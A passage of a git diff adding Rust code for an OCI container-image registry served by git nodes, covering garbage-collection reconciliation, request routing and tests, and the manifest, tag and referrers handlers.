marker once after every push for nothing. Only a gap a real missed push could open — + // longer than any push takes to record itself — counts as stale. + const UPDATED_SLOP_MS: i64 = 60_000; + if m.manifests == count as u64 && (m.updated_ms - updated_ms).abs() <= UPDATED_SLOP_MS { + continue; + } + let fixed = Marker { manifests: count as u64, updated_ms, ..m }; + // In-place, not `index::write`: this worker has no lock shared with a concurrent + // visibility flip (cross-process, owning node only), so deleting "the other side" here + // could race and undo a flip that just landed. Worst case both markers exist for a + // moment, which `index::list` already reads as private — fail-closed by construction. + if index::put_in_place(&store.os, Kind::Img, owner, &fixed).await.is_ok() { + repaired += 1; + } + } + + Ok(repaired) +} + +/// The same structural repair for CODE REPO markers, with the same object-store-only discipline +/// and the same keep-biased rule — see `reconcile_owner` above for the split with the owning +/// node's visibility repair, which applies here verbatim: `meta/public` may only be read by the +/// node that owns the database. +/// +/// Only two of the three cases exist here. Repo directories with no marker gain a PRIVATE one, +/// markers with no directory are removed — but there is no case (c): `manifests`/`updated_ms` +/// are image-only fields on `Marker`, and a code repo has no equivalent stat this sweep could +/// recompute from the object store, so a repo marker's body is never rewritten. +pub async fn reconcile_repo_owner(store: &Store, owner: &str) -> Result { + use crate::index::{self, Kind, Marker}; + + // Images live at `repo/img/{owner}/{name}` — the SAME prefix repos use. `img` is a reserved + // owner name precisely so the two keyspaces stay distinguishable; sweeping it as a repo owner + // would read every image OWNER as a repo name, find no matching repo markers, and go on to + // delete markers it never should have looked at. + if owner == "img" { + return Ok(0); + } + + let repo_set: HashSet = + crate::list_dir_names(&store.os, &format!("repo/{owner}/")).await?.into_iter().collect(); + let markers = index::list(&store.os, Kind::Repo, owner, true).await?; + + let mut repaired = 0usize; + + // (b) marker with no backing repo directory → remove. + for m in &markers { + if !repo_set.contains(&m.name) && index::remove(&store.os, Kind::Repo, owner, &m.name).await.is_ok() { + repaired += 1; + } + } + + // (a) repo directory with no marker → create PRIVATE, fail closed. `created_by`/`created_ms` + // are what the owning node knows and this one does not; an empty author beats a guess. + // `put_in_place`, not `index::write`: write deletes the other visibility's path first, and + // this worker shares no lock with a visibility flip landing on the owning node at the same + // moment — same reasoning as case (c) below. + let marker_names: HashSet = markers.iter().map(|m| m.name.clone()).collect(); + for name in repo_set.iter().filter(|n| !marker_names.contains(*n)) { + let m = Marker { + name: name.clone(), + public: false, + created_by: String::new(), + created_ms: crate::ownership::now_ms() as i64, + description: String::new(), + manifests: 0, + updated_ms: 0, + }; + if index::put_in_place(&store.os, Kind::Repo, owner, &m).await.is_ok() { + repaired += 1; + } + } + + Ok(repaired) +} + +/// Delete this owner's unreferenced blobs. `grace` protects an in-flight push: a blob uploaded +/// before its manifest exists is unreferenced for as long as the push takes. +pub async fn sweep_owner(store: &Store, owner: &str, grace: Duration) -> Result { + let prefix = slatedb::object_store::path::Path::from(format!("blobs/{owner}")); + let cutoff = chrono::DateTime::::from(std::time::SystemTime::now() - grace); + // One listing serves both the "anything old enough?" probe and the doomed pass below. It is + // taken BEFORE the manifests are read, which the module doc forbids for deciding deletions — + // but this list never decides one alone: a blob is only deleted if both `referenced()` reads + // (each newer than this listing) miss it, and a blob written after the listing is simply + // absent from it, i.e. kept. Nothing past grace means nothing deletable whatever the + // manifests say, so an idle registry still reads no manifests at all. + let mut listing = store.os.list(Some(&prefix)); + let mut metas = vec![]; + while let Some(m) = futures::StreamExt::next(&mut listing).await { + metas.push(m?); + } + if !metas.iter().any(|m| m.last_modified <= cutoff) { + return Ok(0); + } + + let keep = referenced(store, owner).await?; + let mut doomed = vec![]; + for m in metas { + let Some(digest) = digest_from_path(&m.location) else { continue }; + if keep.contains(&digest) { + continue; + } + if m.last_modified > cutoff { + continue; + } + doomed.push(m.location); + } + // Grace protects a blob uploaded and not yet referenced. It does NOT protect an old blob a + // client skipped uploading (a HEAD hit, or a cross-repo mount) and then referenced from a + // manifest written after the scan above: that blob's own timestamp never changes, so the + // grace check above cannot catch it. Re-reading `referenced()` now and deleting only what is + // still unreferenced in both reads closes that window without any lock. + // The other half of that protection is `put_manifest`, which refuses a manifest naming a blob + // that is already gone, so a delete that wins this race produces a 404 the client can retry, + // never a 201 over a missing layer. + // Nothing doomed is the steady state, and the second read only ever REMOVES entries from an + // empty list — so it is a full re-read of every manifest of this owner that cannot change the + // answer. + if doomed.is_empty() { + return Ok(0); + } + let keep_again = referenced(store, owner).await?; + doomed.retain(|p| digest_from_path(p).is_some_and(|d| !keep_again.contains(&d))); + let n = doomed.len(); + for p in doomed { + match store.os.delete(&p).await { + Ok(()) | Err(slatedb::object_store::Error::NotFound { .. }) => {} + Err(e) => return Err(e.into()), + } + } + Ok(n) +} diff --git a/crates/registry/src/lib.rs b/crates/registry/src/lib.rs new file mode 100644 index 00000000..ab07f50e --- /dev/null +++ b/crates/registry/src/lib.rs @@ -0,0 +1,172 @@ +//! An OCI Distribution v1.1 registry, served by the git nodes. +//! +//! An image is `{owner}/{name}` in a namespace of its own: no git repo is required, and a repo of +//! the same name grants no claim on it. What makes the two safe to serve from one process is this +//! module's key derivation — see `routing_key`. + +// `Result` is the handler idiom here: the Err is an early-return response, +// unwrapped exactly once per request by `?`. Boxing it to please the size lint would add an +// allocation per refusal for no measurable gain. +#![allow(clippy::result_large_err)] + +pub(crate) use rustic_git_core::{err, hex, jwt, httpx::Trusted}; +pub(crate) use rustic_git_core::httpx as httpauth; +pub(crate) use rustic_git_storage::store as dbstore; +pub(crate) use rustic_git_storage::{index, ownership, pool}; +pub(crate) use rustic_git_app::App; +pub(crate) use rustic_git_core::{Error, Result}; + +/// The tails that make a `/v2/{owner}/{name}/...` path an IMAGE path (one that must be routed to +/// the node holding that image's database). A path whose tail is missing here is not a registry +/// endpoint, is not routable, and is refused before any handler sees it — exactly as `BROWSE_TAILS` +/// does for the browse API. +const IMAGE_TAILS: [&str; 4] = ["blobs", "manifests", "tags", "referrers"]; + +/// The `/v2` paths that name no image. They are answered locally by whichever node receives them: +/// `/v2/` and `/v2/token` touch no database, and `_catalog` is an object-store listing. +pub const LOCAL_V2: [&str; 3] = ["", "token", "_catalog"]; + +pub mod auth; +pub mod blobs; +pub mod gc; +pub mod manifests; +pub mod referrers; +pub mod routes; +pub mod store; +pub mod uploads; +pub use store::Digest; + +use axum::http::StatusCode; +use axum::response::{IntoResponse, Response}; + +/// The spec's error body. Every `/v2` refusal goes through here: a client that gets a bare string +/// where it expects this JSON reports a confusing error and retries nothing. +pub fn oci_err(status: StatusCode, code: &str, message: &str) -> Response { + ( + status, + [(axum::http::header::CONTENT_TYPE, "application/json")], + serde_json::json!({"errors": [{"code": code, "message": message, "detail": null}]}) + .to_string(), + ) + .into_response() +} + +/// 500s on `/v2` still owe the client the OCI envelope, not the plain-text body `http::internal` +/// gives git handlers. Detail stays server-side (matches `internal`'s convention) — only the code +/// and a generic message cross the wire. +pub fn oci_internal(e: crate::Error) -> Response { + tracing::error!(error = %e, "internal error"); + oci_err(StatusCode::INTERNAL_SERVER_ERROR, "UNKNOWN", "internal error") +} + +pub fn is_v2_path(path: &str) -> bool { + let p = path.trim_start_matches('/'); + p == "v2" || p.starts_with("v2/") +} + +/// `Some((owner, name))` when the path names an image. Deliberately strict: the name is ONE +/// segment, so `/v2/a/b/c/manifests/x` is None rather than being folded into some other image. +pub fn image_route(path: &str) -> Option<(&str, &str)> { + let mut it = path.trim_start_matches('/').strip_prefix("v2/")?.split('/'); + let (owner, name, tail) = (it.next()?, it.next()?, it.next()?); + if !IMAGE_TAILS.contains(&tail) { + return None; + } + (crate::dbstore::valid_owner(owner) && crate::dbstore::valid_segment(name)) + .then_some((owner, name)) +} + +/// The ownership-map key for an image. +/// +/// `img/` is a prefix no git route can produce: `repo_of` emits it only for `/v2/` paths, and +/// `img` is a reserved owner name so no repo key begins with it either. `lib.rs` turns a key back +/// into pool coordinates with `split_once('/')`, which yields `("img", "{owner}/{name}")` — the +/// same pair `pool_coords` returns, so claim, renew, evict, and release need no knowledge of +/// images at all. +pub fn routing_key(owner: &str, name: &str) -> String { + format!("img/{owner}/{name}") +} + +pub fn pool_coords(owner: &str, name: &str) -> (&'static str, String) { + ("img", format!("{owner}/{name}")) +} + +/// The immediate sub-prefixes under `prefix` in the object store — its "directory listing". Shared +/// by `routes::image_names` (`repo/img/{owner}/`) and `worker::blob_owners` (`blobs/`): both are the +/// same eight lines of `list_with_delimiter` plus a `common_prefixes` map, over a different prefix. +pub async fn list_dir_names( + os: &std::sync::Arc, + prefix: &str, +) -> crate::Result> { + let prefix = slatedb::object_store::path::Path::from(prefix.to_string()); + let listing = os + .list_with_delimiter(Some(&prefix)) + .await + .map_err(|e| crate::err(e.to_string()))?; + let mut names: Vec = listing + .common_prefixes + .iter() + .filter_map(|p| p.parts().next_back().map(|n| n.as_ref().to_string())) + .collect(); + names.sort(); + Ok(names) +} + +/// `n`/`last` pagination over a sorted list, shared by `tags/list` and `_catalog`. +/// Returns the page and, when the list was truncated, the value the next `last` should be. +pub(crate) fn paginate( + all: &[String], + q: &std::collections::HashMap, +) -> (Vec, Option) { + let start = match q.get("last") { + Some(last) => all.partition_point(|v| v.as_str() <= last.as_str()), + None => 0, + }; + let rest = &all[start.min(all.len())..]; + let n: usize = q.get("n").and_then(|v| v.parse().ok()).unwrap_or(rest.len()); + let page: Vec = rest.iter().take(n).cloned().collect(); + let truncated = (page.len() < rest.len()).then(|| page.last().cloned()).flatten(); + (page, truncated) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn image_paths_parse() { + assert_eq!(image_route("/v2/acme/nginx/blobs/sha256:aa"), Some(("acme", "nginx"))); + assert_eq!(image_route("/v2/acme/nginx/manifests/latest"), Some(("acme", "nginx"))); + assert_eq!(image_route("/v2/acme/nginx/blobs/uploads/"), Some(("acme", "nginx"))); + assert_eq!(image_route("/v2/acme/nginx/tags/list"), Some(("acme", "nginx"))); + assert_eq!(image_route("/v2/acme/nginx/referrers/sha256:aa"), Some(("acme", "nginx"))); + } + + #[test] + fn non_image_v2_paths_do_not_route() { + // These are answered locally on whichever node receives them. + assert_eq!(image_route("/v2/"), None); + assert_eq!(image_route("/v2"), None); + assert_eq!(image_route("/v2/token"), None); + assert_eq!(image_route("/v2/_catalog"), None); + // A nested name is not a two-segment image, so it never routes. + assert_eq!(image_route("/v2/acme/team/nginx/manifests/latest"), None); + // An unknown tail is not a registry endpoint. + assert_eq!(image_route("/v2/acme/nginx/frobnicate"), None); + } + + #[test] + fn keys_cannot_collide_with_a_repo() { + // The image acme/nginx and the repo acme/nginx are different objects. + assert_eq!(routing_key("acme", "nginx"), "img/acme/nginx"); + assert_ne!(routing_key("acme", "nginx"), "acme/nginx"); + // The key round-trips through split_once exactly as lib.rs does it. + let key = routing_key("acme", "nginx"); + let (o, n) = key.split_once('/').unwrap(); + assert_eq!((o, n), ("img", "acme/nginx")); + assert_eq!(pool_coords("acme", "nginx"), ("img", "acme/nginx".to_string())); + // And no repo can be owned by `img`, so no repo database nests under one. + assert!(!crate::dbstore::valid_owner("img")); + assert!(!crate::dbstore::valid_owner("v2")); + } +} diff --git a/crates/registry/src/manifests.rs b/crates/registry/src/manifests.rs new file mode 100644 index 00000000..d2536d15 --- /dev/null +++ b/crates/registry/src/manifests.rs @@ -0,0 +1,452 @@ +//! Manifests and the tag map. +//! +//! Manifest BYTES are stored verbatim and returned verbatim. The digest is over those exact bytes, +//! so re-serializing a parsed manifest — even to identical-looking JSON — changes the digest and +//! breaks every client that verifies one. Nothing here parses a manifest except to read `subject` +//! for the referrers index. +use super::store::{blob_path, ImageExt}; +use super::{ + auth, oci_err, + store::{manifest_path, Digest}, +}; +use std::collections::HashSet; +use crate::Trusted; +use crate::App; +use axum::{ + body::Bytes, + extract::{Path, Query, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Extension, +}; +use slatedb::object_store::{ObjectStoreExt, PutPayload}; +use std::collections::HashMap; +use std::sync::Arc; + +const MEDIA_TYPE_KEY_PREFIX: &str = "image/manifest-type/"; + +/// The largest manifest accepted. Manifests are lists of digests; anything approaching this is not +/// a manifest. `pub` so `routes.rs` can size the manifest route's `DefaultBodyLimit` off the same +/// number — axum's own default (2 MB) is smaller than this and would otherwise 413 a legal push +/// before `put_manifest` ever runs its own check below. +pub const MAX_MANIFEST: usize = 4 * 1024 * 1024; + +/// A reference is either a digest or a tag. Tags are the same shape as any other name segment. +enum Reference { + Digest(Digest), + Tag(String), +} + +fn reference(s: &str) -> Option { + if let Some(d) = Digest::parse(s) { + return Some(Reference::Digest(d)); + } + // OCI tag grammar: [a-zA-Z0-9_][a-zA-Z0-9._-]{0,127} + let ok = s.len() <= 128 + && s.chars().next().is_some_and(|c| c.is_ascii_alphanumeric() || c == '_') + && s.chars().all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-'); + ok.then(|| Reference::Tag(s.to_string())) +} + +pub async fn put_manifest( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, reference_str)): Path<(String, String, String)>, + axum::extract::RawQuery(raw_query): axum::extract::RawQuery, + body: Bytes, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + if body.len() > MAX_MANIFEST { + return oci_err(StatusCode::from_u16(413).unwrap(), "SIZE_INVALID", "manifest too large"); + } + // Parsed once, to READ — never re-emitted (the digest is over the bytes as sent). Anything + // that is not a JSON OBJECT is refused here: `gc::referenced` cannot walk it for the blobs it + // names and would otherwise abort every sweep for this owner, forever, on one bad push. A + // bare `[]`, `"x"`, `3` or `null` parses but is no more walkable than garbage. + let Some(mut v) = + serde_json::from_slice::(&body).ok().filter(serde_json::Value::is_object) + else { + return oci_err(StatusCode::BAD_REQUEST, "MANIFEST_INVALID", "manifest is not a JSON object"); + }; + let Some(r) = reference(&reference_str) else { + return oci_err(StatusCode::BAD_REQUEST, "MANIFEST_INVALID", "malformed reference"); + }; + // Hash with the algorithm the CLIENT chose: a push by sha512 digest must verify against + // sha512 and be stored under it, or every sha512 GET after a 201 would be a 404. A push by + // tag has no claimed algorithm and gets the default. + let d = match &r { + Reference::Digest(asked) => match Digest::of_algo(&asked.algo, &body) { + Some(actual) if &actual == asked => actual, + _ => { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "content does not match digest") + } + }, + Reference::Tag(_) => { + // A by-tag push declares no algorithm, so sha256 is the default — but these exact + // bytes may already be stored under ANOTHER algorithm (a client that pushed by + // sha512 digest and now pushes the same manifest by tag). Repointing the tag at a + // freshly minted sha256 would silently strip the identity the client already uses, + // so prefer whichever digest the store already knows these bytes by. The sha512 is + // hashed only when the sha256 object is absent: the common case pays one HEAD. + let sha256 = Digest::of(&body); + if app.store.os.head(&manifest_path(&owner, &name, &sha256)).await.is_ok() { + sha256 + } else { + match Digest::of_algo("sha512", &body) { + Some(sha512) + if app.store.os.head(&manifest_path(&owner, &name, &sha512)).await.is_ok() => + { + sha512 + } + _ => sha256, + } + } + } + }; + // Every blob the manifest names must already be here, or the 201 would promise bytes the + // registry does not hold (the spec's MANIFEST_BLOB_UNKNOWN). An index names MANIFESTS in + // `manifests[].digest`, so "here" is either store. `subject` is exempt: a referrer may be + // pushed before the thing it refers to. + // ponytail: a sweep can still delete an old blob between this head and the put below — the + // window is one request wide, down from "forever" when the mtime refresh silently failed on + // S3. If it ever bites, write a `touch/{owner}/{algo}/{hex}` marker here and have + // `gc::sweep_owner` treat the marker's mtime as the blob's. + // `v` is pruned before the walk, not after: `subject` may legally point at a manifest that has + // not been pushed yet, and a FOREIGN/nondistributable layer (a `urls` list, or a + // foreign/nondistributable mediaType — Windows base images) is by spec fetched from elsewhere + // and never held here. GC's walk stays unpruned: over-collecting there only keeps blobs alive. + if let Some(m) = v.as_object_mut() { + m.remove("subject"); + if let Some(layers) = m.get_mut("layers").and_then(|l| l.as_array_mut()) { + layers.retain(|l| { + let elsewhere = l.get("urls").and_then(|u| u.as_array()).is_some_and(|u| !u.is_empty()); + let foreign = l.get("mediaType").and_then(|t| t.as_str()).is_some_and(|t| { + t.contains(".foreign.") || t.contains(".nondistributable.") + }); + !elsewhere && !foreign + }); + } + } + let mut named = HashSet::new(); + super::gc::collect(&v, &mut named); + // The walk grabs EVERY value keyed `digest` anywhere in the document, annotations included — + // so a string that is not a digest is not a malformed manifest, it is a field this walk has no + // business reading. Skipped rather than refused: the walk's over-collection is only safe + // because it is advisory in both directions (GC keeps what it over-collects, and this only + // decides what to probe for), and refusing here turned that leniency into a rejected push. + let digests: Vec = named.iter().filter_map(|s| Digest::parse(s)).collect(); + // Concurrent, not serial: a 40-layer manifest was up to 80 sequential HEADs before the + // write. Each probe is independent; blob path first because that is where layers live — + // the manifest path is only hit for an index's entries. + // ponytail: a sweep can still delete an old blob between this head and the put below — + // GC is keep-biased and this window is unchanged from the serial version, so it's not new risk. + let present = futures::future::join_all(digests.iter().map(|bd| async { + app.store.os.head(&blob_path(&owner, bd)).await.is_ok() + || app.store.os.head(&manifest_path(&owner, &name, bd)).await.is_ok() + })) + .await; + if present.iter().any(|ok| !ok) { + return oci_err(StatusCode::NOT_FOUND, "MANIFEST_BLOB_UNKNOWN", "manifest references a blob this registry does not hold"); + } + let media = headers + .get(header::CONTENT_TYPE) + .and_then(|v| v.to_str().ok()) + .unwrap_or("application/vnd.oci.image.manifest.v1+json") + .to_string(); + // The media type travels with the manifest: a GET must answer the same Content-Type the push + // declared, and the bytes themselves are not re-parsed to recover it. + let db = match app.store.image_db(&owner, &name).await { + Ok(d) => d, + Err(e) => return crate::oci_internal(e), + }; + // Read BEFORE the put: it is the one row written for every manifest and no other, so it is + // what says whether this digest is new to the image — which is what the manifest counter needs + // and what used to cost a full prefix LIST. A read error reads as "already there", which only + // ever under-counts; the GC reconcile is what corrects drift either way. + let existed = db + .get(format!("{MEDIA_TYPE_KEY_PREFIX}{d}").into_bytes()) + .await + .map(|v| v.is_some()) + .unwrap_or(true); + if let Err(e) = app.store.os.put(&manifest_path(&owner, &name, &d), PutPayload::from(body.clone())).await { + return crate::oci_internal(e.into()); + } + if let Err(e) = db + .put(format!("{MEDIA_TYPE_KEY_PREFIX}{d}").into_bytes(), media.into_bytes()) + .await + { + return crate::oci_internal(e.into()); + } + // Blob rows before the tag: a stranger resolving the tag must never find a layer this image + // does not yet admit holding. + if let Err(e) = super::store::note_blobs(&db, &digests, &d.to_string()).await { + return crate::oci_internal(e); + } + // A re-push of the same digest may declare a new Content-Type; the cached answer would keep + // serving the old one otherwise. + app.store.manifests().remove(&format!("{owner}/{name}/{d}")); + let subject = match super::referrers::index(&app, &owner, &name, &d, &body).await { + Ok(s) => s, + Err(e) => return crate::oci_internal(e), + }; + if let Reference::Tag(t) = &r { + if let Err(e) = app.store.put_tag(&owner, &name, t, &d).await { + return crate::oci_internal(e); + } + } else { + // A push BY DIGEST may still name tags, as `?tag=` query parameters (the spec's tag + // param, possibly repeated). Each valid one points at this manifest; invalid ones are + // refused rather than skipped, because a client that asked for a tag and did not get + // it has been lied to by a 201. + for (k, v) in form_urlencoded::parse(raw_query.as_deref().unwrap_or("").as_bytes()) { + if k != "tag" { + continue; + } + if reference(&v).is_none_or(|r| matches!(r, Reference::Digest(_))) { + return oci_err(StatusCode::BAD_REQUEST, "TAG_INVALID", "malformed tag parameter"); + } + if let Err(e) = app.store.put_tag(&owner, &name, &v, &d).await { + return crate::oci_internal(e); + } + } + if let Err(e) = app.store.touch_image(&owner, &name).await { + return crate::oci_internal(e); + } + } + // Same log-and-continue rule as the marker below, and for the same reason: these counters ARE + // the marker's inputs, and the GC reconcile rewrites a marker that has drifted. + if let Err(e) = app.store.note_manifest_put(&owner, &name, existed).await { + tracing::warn!(owner = %owner, name = %name, error = %e, "manifest count img"); + } + // Marker is a view, never the source of truth: log-and-continue rather than fail a push that + // already landed the manifest and tag(s). + if let Err(e) = app.store.refresh_image_marker(&owner, &name).await { + tracing::warn!(owner = %owner, name = %name, error = %e, "index refresh img"); + } + let mut resp = ( + StatusCode::CREATED, + [ + (header::LOCATION, format!("/v2/{owner}/{name}/manifests/{d}")), + (header::HeaderName::from_static("docker-content-digest"), d.to_string()), + ], + ) + .into_response(); + // Spec: a manifest with a `subject` MUST get `OCI-Subject` on the 201, so a client can tell + // without a GET that the push was indexed as a referrer. + if let Some(subject) = subject { + resp.headers_mut().insert( + header::HeaderName::from_static("oci-subject"), + subject.to_string().parse().unwrap(), + ); + } + resp +} + +pub async fn get_manifest( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path(p): Path<(String, String, String)>, +) -> Response { + manifest_response(app, trusted, headers, p, true).await +} + +pub async fn head_manifest( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path(p): Path<(String, String, String)>, +) -> Response { + manifest_response(app, trusted, headers, p, false).await +} + +async fn manifest_response( + app: Arc, + trusted: Trusted, + headers: HeaderMap, + (owner, name, reference_str): (String, String, String), + with_body: bool, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, false).await { + return r; + } + let Some(r) = reference(&reference_str) else { + return oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such manifest"); + }; + let d = match r { + Reference::Digest(d) => d, + Reference::Tag(t) => match app.store.tag(&owner, &name, &t).await { + Ok(Some(d)) => { + // The pull counter. GET by tag only — a HEAD is docker probing, and a GET by + // digest is docker re-reading what the tag already resolved to; counting either + // would inflate. A map increment only — no lock, no write — so a hundred + // concurrent pulls of one tag do not queue behind each other here. + if with_body { + app.store.bump_pulls(&owner, &name, &t); + } + d + } + Ok(None) => return oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such tag"), + Err(e) => return crate::oci_internal(e), + }, + }; + let cache_key = format!("{owner}/{name}/{d}"); + if let Some((bytes, media)) = app.store.manifests().get(&cache_key).cloned() { + let hdrs = [ + (header::CONTENT_TYPE, media), + (header::CONTENT_LENGTH, bytes.len().to_string()), + (header::HeaderName::from_static("docker-content-digest"), d.to_string()), + ]; + return if with_body { (StatusCode::OK, hdrs, bytes).into_response() } else { (StatusCode::OK, hdrs).into_response() }; + } + let bytes = match app.store.os.get(&manifest_path(&owner, &name, &d)).await { + Ok(r) => match r.bytes().await { + Ok(b) => b, + Err(e) => return crate::oci_internal(e.into()), + }, + Err(slatedb::object_store::Error::NotFound { .. }) => { + return oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such manifest") + } + Err(e) => return crate::oci_internal(e.into()), + }; + let media = match app.store.image_db(&owner, &name).await { + Ok(db) => db + .get(format!("{MEDIA_TYPE_KEY_PREFIX}{d}").into_bytes()) + .await + .ok() + .flatten() + .map(|v| String::from_utf8_lossy(&v).to_string()) + .unwrap_or_else(|| "application/vnd.oci.image.manifest.v1+json".into()), + Err(e) => return crate::oci_internal(e), + }; + { + let mut c = app.store.manifests(); + // ponytail: clear-on-full at 256 entries (≤ 256 × 4 MiB worst case, ~a few MiB real) — + // the same sweep-don't-evict shape as auth_cache. A real LRU if hit rate ever matters. + if c.len() >= 256 { + c.clear(); + } + c.insert(cache_key, (bytes.clone(), media.clone())); + } + let hdrs = [ + (header::CONTENT_TYPE, media), + (header::CONTENT_LENGTH, bytes.len().to_string()), + (header::HeaderName::from_static("docker-content-digest"), d.to_string()), + ]; + if with_body { + (StatusCode::OK, hdrs, bytes).into_response() + } else { + (StatusCode::OK, hdrs).into_response() + } +} + +/// By tag: unlink the tag. By digest: remove the manifest AND every tag that pointed at it — +/// leaving a tag resolving to bytes that are gone would turn every pull of it into a 404 the owner +/// cannot explain. +pub async fn delete_manifest( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, reference_str)): Path<(String, String, String)>, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + let Some(r) = reference(&reference_str) else { + return oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such manifest"); + }; + // `image_db` creates what it opens; a delete aimed at nothing must not leave a phantom image + // for the listing (and the worker's reconcile) to find. + match app.store.image_exists(&owner, &name).await { + Ok(true) => {} + Ok(false) => return oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such manifest"), + Err(e) => return crate::oci_internal(e), + } + match r { + Reference::Tag(t) => match app.store.tag(&owner, &name, &t).await { + Ok(Some(_)) => match app.store.delete_tag(&owner, &name, &t).await { + Ok(()) => StatusCode::ACCEPTED.into_response(), + Err(e) => crate::oci_internal(e), + }, + Ok(None) => oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such tag"), + Err(e) => crate::oci_internal(e), + }, + Reference::Digest(d) => { + let tags = match app.store.tags_pointing_at(&owner, &name, &d).await { + Ok(t) => t, + Err(e) => return crate::oci_internal(e), + }; + for t in tags { + if let Err(e) = app.store.delete_tag(&owner, &name, &t).await { + return crate::oci_internal(e); + } + } + if let Err(e) = super::referrers::unindex(&app, &owner, &name, &d).await { + return crate::oci_internal(e); + } + // The media-type row lives in the image DB, not the object store, so + // it survives independently of the manifest object below — delete it + // here or it's an orphan forever (never swept, never read again). + match app.store.image_db(&owner, &name).await { + Ok(db) => { + if let Err(e) = db.delete(format!("{MEDIA_TYPE_KEY_PREFIX}{d}").into_bytes()).await { + return crate::oci_internal(e.into()); + } + if let Err(e) = super::store::forget_manifest_blobs(&db, &d).await { + return crate::oci_internal(e); + } + } + Err(e) => return crate::oci_internal(e), + } + app.store.manifests().remove(&format!("{owner}/{name}/{d}")); + match app.store.os.delete(&manifest_path(&owner, &name, &d)).await { + Ok(()) => { + if let Err(e) = app.store.note_manifest_deleted(&owner, &name).await { + tracing::warn!(owner = %owner, name = %name, error = %e, "manifest count img"); + } + StatusCode::ACCEPTED.into_response() + } + Err(slatedb::object_store::Error::NotFound { .. }) => { + oci_err(StatusCode::NOT_FOUND, "MANIFEST_UNKNOWN", "no such manifest") + } + Err(e) => crate::oci_internal(e.into()), + } + } + } +} + +/// `GET /tags/list?n=&last=` — lexical order, `last` exclusive, `Link` when truncated. +pub async fn tags_list( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, false).await { + return r; + } + let all = match app.store.tags(&owner, &name).await { + Ok(t) => t, + Err(e) => return crate::oci_internal(e), + }; + if all.is_empty() && !app.store.image_exists(&owner, &name).await.unwrap_or(false) { + return oci_err(StatusCode::NOT_FOUND, "NAME_UNKNOWN", "no such image"); + } + let (page, truncated) = super::paginate(&all, &q); + let body = serde_json::json!({"name": format!("{owner}/{name}"), "tags": page}); + let mut r = axum::Json(body).into_response(); + if let Some(last) = truncated { + let n = q.get("n").cloned().unwrap_or_default(); + r.headers_mut().insert( + header::LINK, + format!("; rel=\"next\"") + .parse() + .unwrap(), + ); + } + r +} diff --git a/crates/registry/src/referrers.rs b/crates/registry/src/referrers.rs new file mode 100644 index 00000000..234ea50d --- /dev/null +++ b/crates/registry/src/referrers.rs @@ -0,0 +1,149 @@ +//! The referrers index: which manifests declare another as their `subject`. +//! +//! Kept in the image's database rather than computed by listing manifests, because the answer must +//! be cheap on every pull of a signed image and a listing is not. Written by the manifest PUT that +//! creates the referrer, removed by the DELETE that removes it. +use super::store::{Digest, ImageExt}; +use crate::Trusted; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Extension, +}; +use std::collections::HashMap; +use std::sync::Arc; + +/// One row per (subject, referrer). The value is the index ENTRY — the descriptor a client +/// receives — so answering needs no manifest reads at all. Prefixed `image/referrer/` so it +/// cannot collide with the other key spaces sharing this database: the bare `image` and +/// `image/public` keys, `image/tag/`, `image/manifest-type/`, and `upload/`. +fn key(subject: &Digest, referrer: &Digest) -> Vec { + format!("image/referrer/{subject}/{referrer}").into_bytes() +} +const PREFIX: &str = "image/referrer/"; +fn subject_prefix(subject: &Digest) -> String { + format!("{PREFIX}{subject}/") +} + +/// Record `d` as a referrer, if its manifest names a subject. A manifest with no `subject` is not +/// an error and not a referrer — most manifests are that. Returns the subject digest indexed, if +/// any: `put_manifest` needs it to answer with `OCI-Subject` on the 201, per spec. +pub async fn index(app: &App, owner: &str, name: &str, d: &Digest, bytes: &[u8]) -> crate::Result> { + let Ok(v) = serde_json::from_slice::(bytes) else { + return Ok(None); // not JSON: nothing to index, and PUT already accepted the bytes + }; + let Some(subject) = v.get("subject").and_then(|s| s.get("digest")).and_then(|d| d.as_str()) + else { + return Ok(None); + }; + let Some(subject) = Digest::parse(subject) else { return Ok(None) }; + let mut entry = serde_json::json!({ + "mediaType": v.get("mediaType").and_then(|m| m.as_str()) + .unwrap_or("application/vnd.oci.image.manifest.v1+json"), + "digest": d.to_string(), + "size": bytes.len(), + "annotations": v.get("annotations").cloned().unwrap_or(serde_json::json!({})), + }); + // Spec: omitted when absent — `json!` would emit `null`, which strict clients reject. + let artifact_type = v.get("artifactType").and_then(|a| a.as_str()) + .or_else(|| v.get("config").and_then(|c| c.get("mediaType")).and_then(|m| m.as_str())); + if let Some(t) = artifact_type { + entry["artifactType"] = serde_json::Value::String(t.to_string()); + } + app.store + .image_db(owner, name) + .await? + .put(key(&subject, d), entry.to_string().into_bytes()) + .await?; + Ok(Some(subject)) +} + +/// Remove `d` from wherever it appears as a referrer. Scans the whole index rather than keeping a +/// reverse map: a manifest delete is rare, and a reverse map is state that can disagree with this +/// one. +pub async fn unindex(app: &App, owner: &str, name: &str, d: &Digest) -> crate::Result<()> { + let db = app.store.image_db(owner, name).await?; + let mut it = db.scan_prefix(PREFIX, ..).await?; + let suffix = format!("/{d}"); + let mut doomed = vec![]; + 